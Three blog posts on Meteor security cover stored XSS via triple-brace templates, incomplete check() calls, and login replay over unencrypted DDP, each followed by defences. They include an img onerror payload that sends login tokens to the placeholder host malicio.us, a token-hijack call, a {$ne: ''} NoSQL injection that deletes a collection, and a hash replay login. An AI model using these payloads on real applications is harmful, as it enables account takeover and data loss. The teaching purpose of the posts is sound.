Hijacking Meteor Accounts With XSS

Written by Pete Corey on Sep 7, 2015.

You’ve probably heard the term “XSS”, or cross-site scripting, floating around the Meteor community. You’ve probably also heard that the browser-policy package prevents XSS. Great! But… What is XSS?

Let’s pretend that we’ve built an awesome new Telescope application, and we’ve decided to get a little radical with our design. We’ve given our users the ability to embed images in their post titles! Our custom post_title template looks something like this:

<template name="custom_post_title">
  <h3 class="post-title {{moduleClass}}">
    <a href="{{this.getLink}}">{{{title}}}</a>
  </h3>
</template>

Great! Now our users can use <img> tags to embed pictures directly in their post titles. There’s absolutely nothing that go wrong here, right? Well…

The Dangers of XSS

This change has actually exposed our application to a particularly dangerous form of cross-site scripting; Stored XSS. We’ve given users the ability to enter potentially malicious markup in their titles. Check out this example title:

<img src="fakeurl"
     onerror="$.get('//www.malicio.us/'+localStorage['Meteor.loginToken'])"
     alt="Cats suck!">

Now, imagine that the bad person who posted this title has a simple web server running on www.malicio.us listening for and logging any GET requests it recieves. After a few innocent users stumble across this post on our Telescope application, their sensitive login tokens would be pulled from their local storage and sent to malicio.us. The malicio.us web logs would look something like this:

GET http://www.malicio.us/g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D
GET http://www.malicio.us/LPPp7Tdb_qveRwa7-dLeCAxpqpc9oYM53Gt0HG6kwQ5
GET http://www.malicio.us/go9olSuebBjfQQqTrL-86d_LlfcctG848r7dBhW_kCL

The attacker who posted the malicious title could easily steal any of these active sessions by navigating to our Meteor application and running the following code in their browser console:

Meteor.loginWithToken("g8Ri6DxKc3lSwqnYxHCJ0xE-XjMPf3jX-p_xSUPnN-D");

And just like that, a user’s account has been stolen.


The crux of the issue here is that we’re using a triple-brace tag to insert raw HTML directly into the DOM. Without any kind of sanitation or validation, we have no way of knowing that users aren’t providing us with malicious markup that will potentially run on all of our users’ browsers.

In this case, the attacker simply grabbed the current user’s loginToken out of local storage with the intent of hijacking their account. XSS attacks can be far more sophisticated, though. They can be as subtle as silently calling methods on behalf of the client, and as lavish as constructing entire user interface components designed to extract sensitive information (credentials, credit card numbers, etc…) from users.

Your Meteor application is not solely exposed to cross-site scripting through the use of triple-brace tags. Malicious HTML/JavaScript can be introduced into your Blaze-powered application through the use of SafeString, dynamic attributes, and dynamic attribute values, to name a few. When using these techniques with user-provided data, be especially sure that you’re properly sanitizing or validating the data before sending it into the DOM.

Browser-policy as a safety net

The browser-policy package enables your Meteor application to establish its Content Security Policy, or CSP. The goal of CSP is to prevent unexpected JavaScript from running on your page.

However, browser-policy package is not a turnkey solution to our XSS problem. It requires some configuration to be especially useful. David Weldon has an excellent guide outlining the benefits of using browser-policy and how to go about tuning it to your application. For our application, we would want to make sure that we’re disallowing inline scripts:

BrowserPolicy.content.disallowInlineScripts();

By disallowing inline scripts, the JavaScript found in the onerror of the image tag would not be allowed to run. This would effectively stop the XSS attack dead in its tracks.

While CSP is an amazing tool that can be used to harden your application against attackers, I believe that it should be considered your last line of defense. You should always try to find and eradicate all potential sources of cross-site scripting, rather than relying on the browser-policy to prevent it. There is always the chance that you may have misconfigured your browser-policy. On top of that, Content Security Policy isn’t supported on older browsers.

Final Thoughts

Keep in mind that this was just a single example of cross-site scripting in action. Attackers can use a variety of other techniques and methods in order to achieve their nefarious intents.

The truth is, XSS attacks are relatively rare in Meteor applications. The Meteor team made a great decision when going with a secure default for value interpolation (double-brace tags). However, there are still scenarios where XSS can rear its ugly head in your Meteor application. In addition to using and configuring browser-policy, you should try to identify and fix any potential areas where cross-site scripting may occur.

Incomplete Argument Checks

Written by Pete Corey on Aug 31, 2015.

I’ve been shouting for months about the importance of checking your method and publication arguments. But what do I mean when I say that? Is checking your arguments as simple as throwing in a check(argument, Match.Any); statement and moving on with your life? Absolutely not!

Incomplete Checks

I frequently see people running incomplete checks against their method and publication arguments. Check out this quick example:

Meteor.methods({
  processEvent: function(event) {
    check(event, Object);

    // Do processing...
    
    Events.remove(event._id);
  }
});

The processEvent takes in an event object, does some processing on it, and then removes the event object from the Events collection. This is all fine and good. We’re even checking the event argument!

Unfortunately, we’re not checking event thoroughly enough. What would happen if a user were to run this code in their browser console?

Meteor.call("processEvent", {_id: {$ne: ""}});

{_id: {$ne: ""}} is, in fact, an object, so it slips past the check statement. Unexpectedly though, the _id within event is an object as well. After processing the event object, the processEvent method would go on to remove all events in the Events collection. Behold the dangers of incomplete checks!

A More Thorough Check

The solution to this issue is to more thoroughly check the event argument. If we’re expecting event to be an object, we want to make a type assertion (and sometimes even a value assertion) over each field in that object. Take a look:

Meteor.methods({
  processEvent: function(event) {
    check(event, {
      _id: String,
      // Check more fields here...
      // name: String,
      // data: {
      //   value: Number
      // }
    });

    // Do processing...
    
    Events.remove(event._id);
  }
});

By checking that the _id of the event object is a string, we can avoid potential NoSQL injections that could wreak havoc within our application.

Final Thoughts

Incomplete checks can take many forms, be it check(..., Object);, check(..., Match.Any);, check(..., Match.Where(...));, etc… Regardless of the form they come in, incomplete checks are all little flaws stitched together with good intentions.

Checking your arguments is vitally important for a huge number of reasons, but it’s important that you follow through completely with your good intentions. Stopping with incomplete checks can leave you with a false sense of security and a vulnerable application.

Always (thoroughly) check your arguments!

Hijacking Meteor Accounts by Sniffing DDP

Written by Pete Corey on Aug 23, 2015.

You’re in your neighborhood Starbucks scarfing down an Everything With Cheese Bagel while browsing the web, and you decide to visit your favorite Meteor application. You go to the website, type in your authentication credentials, and hit “Log In”, paying no mind that the application is running over http, not https.

Unbeknownst to you, sitting in a dimly lit corner closest to the restrooms, someone is sniffing the public wifi. As you hit “Log In”, they see your authentication credentials fly across the wire.

In its raw form, a login attempt over DDP using the account-password package looks like this:

["{\"msg\":\"method\",\"method\":\"login\",\"params\":[{\"user\":{\"email\":\"joe@schmoe.com\"},\"password\":{\"digest\":\"5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8\",\"algorithm\":\"sha-256\"}}],\"id\":\"9\"}"]

The attacker sees the website you’re connected to, your email address and a hash of the password you provided. Now that he has all of this information, hijacking your account is as simple as navigating to the Meteor application and running the following in his browser console:

Accounts.callLoginMethod({
    methodArguments: [{
      user: {email: "joe@schmoe.com"},
      password: {digest: "5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8", algorithm: "sha-256"}
    }]
});

And just like that, someone was able to catch your login credentials as they flew unencrypted across the network, and use them to take control of your account.

Smells Like Hash

But how can this be? You know that when you call Meteor.loginWithPassword on the client, the password you provide is hashed before it’s sent to the server. How can an attacker log in without access to the actual password string?

The accounts-password package hashes the provided password before sending it across the network in an attempt to prevent attackers from being able to see the raw password. The server then compares the user-provided hash with the hash it keeps the users collection. If the two hashes match, the server assumes that the user provided the correct password, and logs them into the application.

This means that the hash is effectively being treated as a password. If you send the right hash, you will be logged into the associated account, regardless of whether you know what the actual password is. Because this hash, or pseudo-password, is being sent in plain text over the network, anyone who intercepts it can easily replay the message and send their own login request.

SSL To The Rescue

People often ask me if they should be using SSL/TLS (https) with their Meteor applications. My answer is always a resounding, “Yes!” At its core, DDP is a plain text protocol that offers no protection against inspection, tampering or replay over the network. This means that all of your users’ potentially private data is being broadcast to the slice of the world between the client and the server.

So how does SSL save the day? By adding and correctly configuring SSL and navigating to your Meteor application over https, you’re creating a secure connection between the client and the server. All network communications are completely encrypted and protected from replay attacks.

Using SSL is an easy way to ensure that private data stays private, even when it’s being shipped back and forth between the client and the server.